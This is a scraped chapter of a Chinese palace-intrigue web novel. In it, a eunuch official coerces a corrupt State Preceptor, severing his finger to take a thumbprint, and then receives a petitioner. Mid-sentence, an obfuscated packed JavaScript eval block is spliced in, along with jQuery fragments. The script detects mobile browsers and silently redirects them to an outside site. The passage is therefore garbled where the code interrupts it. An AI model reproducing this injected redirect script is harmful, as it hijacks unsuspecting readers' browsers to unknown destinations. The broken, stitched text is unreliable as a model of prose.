11. 国师的知音
作品:《捡来的小狗把我当宿敌怎么办》 “他要杀了我……发现……赵承庸……死……”
接着,一道令人熟悉的声音从怪石后穿了出来:“救……阁老……杀了他……”
宋贤本无意偷听,和尚与伶人苟且也并不少见,都是俗人难免有欲望。
可是其中一道声音实在耳熟,再加上他们言语中提到了赵承庸和阁老,这很明显并不是什么偷情,而是秘密接头。
她正欲躲避,却不慎踩到了落叶,发出了刺耳的声音。
怪石后的声音瞬间停歇,记着一阵细细碎碎后,从那后边走出来一道人影来。
宋贤也不躲了,看清楚那人后略挑起眉头,故意说道:“国师好雅兴,洒家原以为国师是无情无欲之人,没想到……也会耽于软玉温香。”
“还是在德宁寺的后院里……真是,佩服。”
即便是遇到这种事情,弘福法师也已经是那副云淡风轻清冷慈悲的模样,他双手合十,说道:“……先生误会了。”
“是。”一女子从怪石后走出,脸上遮着面纱,一副弱柳扶风的样子,朝着她微微矮身行礼:“先生误会了,我是专程来找国师谢恩的。”
宋贤只是扫她一眼便把视线转到了弘福法师身上:“洒家有事要找国师商议。”
伶人识趣的福身:“国师、先生,小女告辞了。”
弘福法师又转身对着她微微躬身送行。
“国师,请吧。”
她最烦别人做戏给她看,可偏偏这世上人人都做戏,哪里也避不开。
在去客堂的路上,宋贤突然开口:“上次那人也是她吗?”
弘福法师身形微顿却语气不改:“小僧不知道先生在说什么。”
“嗯……”她鼻尖微耸:“洒家还不知道原来德宁寺种的有梅花。”
“相必国师一定是日日徜徉在梅花园里,才能染得这一身透骨梅花香。”
“先生闻错了,德宁寺并不种梅花。”
她哼笑一声:“那就是洒家记错了,或许是将德宁寺与中丞大人的梅园搞混了。”
弘福法师沉默不语,一路到了客堂,他才再次开口:“先生请坐。”
他斟了两杯竹叶茶,推到了宋贤面前,翻手作请:“先生今日来德宁寺不是为了祈福?”
宋贤盯着晃动的茶水间起伏的竹叶,张开嘴语气淡然:“身若浮萍,难免波折。”
她抬起头,复又盯上他的眼睛:“国师会走错路吗?”
不等他回答,她便又轻笑着说:“我会。”
“我十岁入宫,被迫斩断了前尘。紫禁城的一切对我来说都瑰丽莫名。”
“那里有阴阳分明的夹道,有纵横交错的窄路,还有鳞次栉比的宫殿庭宇。”
她将茶盏置于指尖,轻轻转动。嫩竹叶溺于水中,纠旋着落下:“在紫禁城,人们是跪着走路的。”
“十六岁之前,我没有见过皇帝的面貌。他在我心里是一堵墙,是靡丽的朱砂色,威严不可侵犯。”
“我第一次在紫禁城走错路,是十二岁。当时我因为打翻了贵妃的果盘,被罚进了辛者库,当净军。”
“那段时间真是难熬,要拉的粪桶车比我还要高一个头,我每天寅时正刻就要起来去各宫清洁,一直到夜半才得以歇息。”
弘福法师说:“您是老祖宗的儿子。”
言意之下,您的头顶上是这个天下除了皇帝以外最有权有势的人之一,谁又敢为难您呢?
宋贤抿了一口茶水,入口微微苦涩略带回甘:“是啊,我是司礼监掌印的干儿子。”
“可干爹说,路都是自个儿走出来的。要成为什么样的人,要去什么样的地方,都取决于你要怎么走。”
“国师呢?”她抬起眼睛,漩涡般深沉的目光盯着他的眼睛:“走错了路还可以回头,可若是撞了南墙便再也没机会了。”
弘福捏着茶盏的指尖微微用力,发出一点白,可他仍然面不改色,垂下眼睫答非所问:“先生有心结?”
宋贤看出了他的态度,说道:“国师信不过洒家。”
“先生不也是吗?”
她难得地从这人口中听到这样沾染情绪的尖锐的话:“赵承庸有一个妹妹叫赵睢,歌舞双绝名动天下。”
“可惜红颜多薄命,自多年前失踪后,至今下落不明。”
“解人难得,洒家记得,国师与她曾是高山流水一对难得知己?”
弘福法师难得有些绷不住面皮:“先生有话不妨直说。”
“好啊,那我就直说。”她指尖轻叩桌面:“刚才那个伶人想必就是赵承庸的妹妹赵睢吧?”
“如此恣睢之人,却落得如今这个下场,实在是可悲可叹。”
“子慈已死,先生这般猜测实在冒犯。”
谁知,宋贤却冷笑一声:“在苏州,没人敢和洒家谈冒犯。”
话落,她一拍桌,只见窗外银光一闪,跃进来几个人,很快便左右挟持住了他。
“你——”弘福法师被人反压着双手,按着肩膀趴在桌上,目眦欲裂。
宋贤站起身,垂着眼睑看他:“国师放心,赵睢洒家已经命人好生照看起来了。”
说着,她从怀里掏出一张文书,宋贤试图压着他的指头按个手印。
可他双手握拳不肯配合,宋贤让人拿了刀来架在他的手掌边:“是你自己按,还是洒家帮你按?”
他咬牙切齿:“你与赵承庸……”
她略讽刺地勾起唇角,抬抬手,那人便把刀刃向下压了一寸:“我与中丞如何?”
“你这般背信弃义,齐王是不会放过你的!”
“那国师的意思就是不打算配合了。”
她一挥手,刀刃落下,“咔嚓”一声一截食指滚落,血腥味立刻萦绕在众人鼻尖。
弘福法师挣扎着却无法挣脱,红着眼睛“嗬嗬”地喘着粗气。
宋贤弯下腰捡起那截尚存温热的断指,在他的伤处沾了点血,按在了文书上。
“早这样不就好了吗?”
她略带可惜地直起身子,目光有些怜悯,可细看却又能看出些许嘲讽:“国师,莫要怪洒家心狠。只是你走错了路,洒家想帮你一把而已。”
“天下之路,不过民生二字。你背弃了天下,佛难渡你!”
宋贤把那截断指随手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856988|159139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一扔,笑道:“洒家只信人心叵测,不信菩提。”
说罢,她踏出了客斋的门槛,在阳光下抖开这张沾染着血腥气的文书。
上边粗喇喇的写着“敬启陛下”四个大字。
阳光辉煌耀眼,她眯起有些酸胀的眼睛,咧了咧嘴角。
她终于等到这一天了。
“把他押走吧。”
弘福法师惨白着一张脸,恶狠狠地说道:“宋贤,你败坏天理,不得好死。”
她笑了笑,有些感叹:“文新啊,你真以为你曾经干的那些肮脏事,当了国师摆出一张慈悲天下的脸就能全部掩盖了?”
“我告诉你,只要我还在一天,你就一天都只是那个满家村那个肮脏下贱、狼心狗肺的杂种。”
“别忘了,满家村二十八口人,流血漂橹,都出自谁之手。”
弘福法师……不,应该说是满文新,听到这话本就惨白的脸瞬间灰败起来,他喃喃:“你不能……你不能……”
宋贤瞥了他一眼,心中冷寂,转身离开了德宁寺。
回府的时候已是午时,她直奔书房而去。
“张浦。”
“儿子在。”
她将满文新按过手印的文书塞进信函,递给他。
“送去三清堂,行事隐秘一些。”
张浦双手接过:“儿子明白。”
“速去速回!”
他应声去了。
三清堂是她布下的暗点,专传密函。满文新被押一事,很快便会被传给齐王,他要想办法在这之前传信给宫里那位。
赵承庸刚才派人来通知今晚申时议会,她现在还压着满文新被押的消息,赵承庸知道此事只不过是时间问题。
在那之前,她得想出一个万全之策才行。
正发愁,却有小太监来报:“先生,布政使司的张参议来访。”
张参议?她略一思索,是张祺那小子?
她想了想,说道:“让他来书房吧。”
“是。”
等了一会儿,张祺才被人领着进来。他作了揖,在侧边的太师椅上坐下。
“先生,我这次拜访……”
宋贤打断他:“他们为难你了?”
张祺愣了一下,才垂头丧气道:“是,他们把我胞弟抓起来了。”
“什么理由?”
“他、他因为欠债不还和别人发生了冲突,把对方打残了……”
他自知理亏,所以说完话便立刻抬头补充道:“他的确有罪,可是我们已赔偿了银子,也挨了板子了。”
“可没两日,他们又说那人死了。那人当初也不过是隔壁骨折,哪里会闹出人命?就是昨天会议之后,今天他们非要闹着让我弟弟偿命,这怎么行!”
“今日衙门又派人威胁我,说只要肯在契书上签字,就放过我弟弟,否则就要打死他。”
宋贤听得凝眉,家家有本难念的经,张祺这样的老实人,竟然还会有个好赌的弟弟。
被他们抓住了把柄,这下不扒皮抽筋是别想逃得掉了。
像是突然想起了什么,她问道:“是谁让你来找洒家的?”

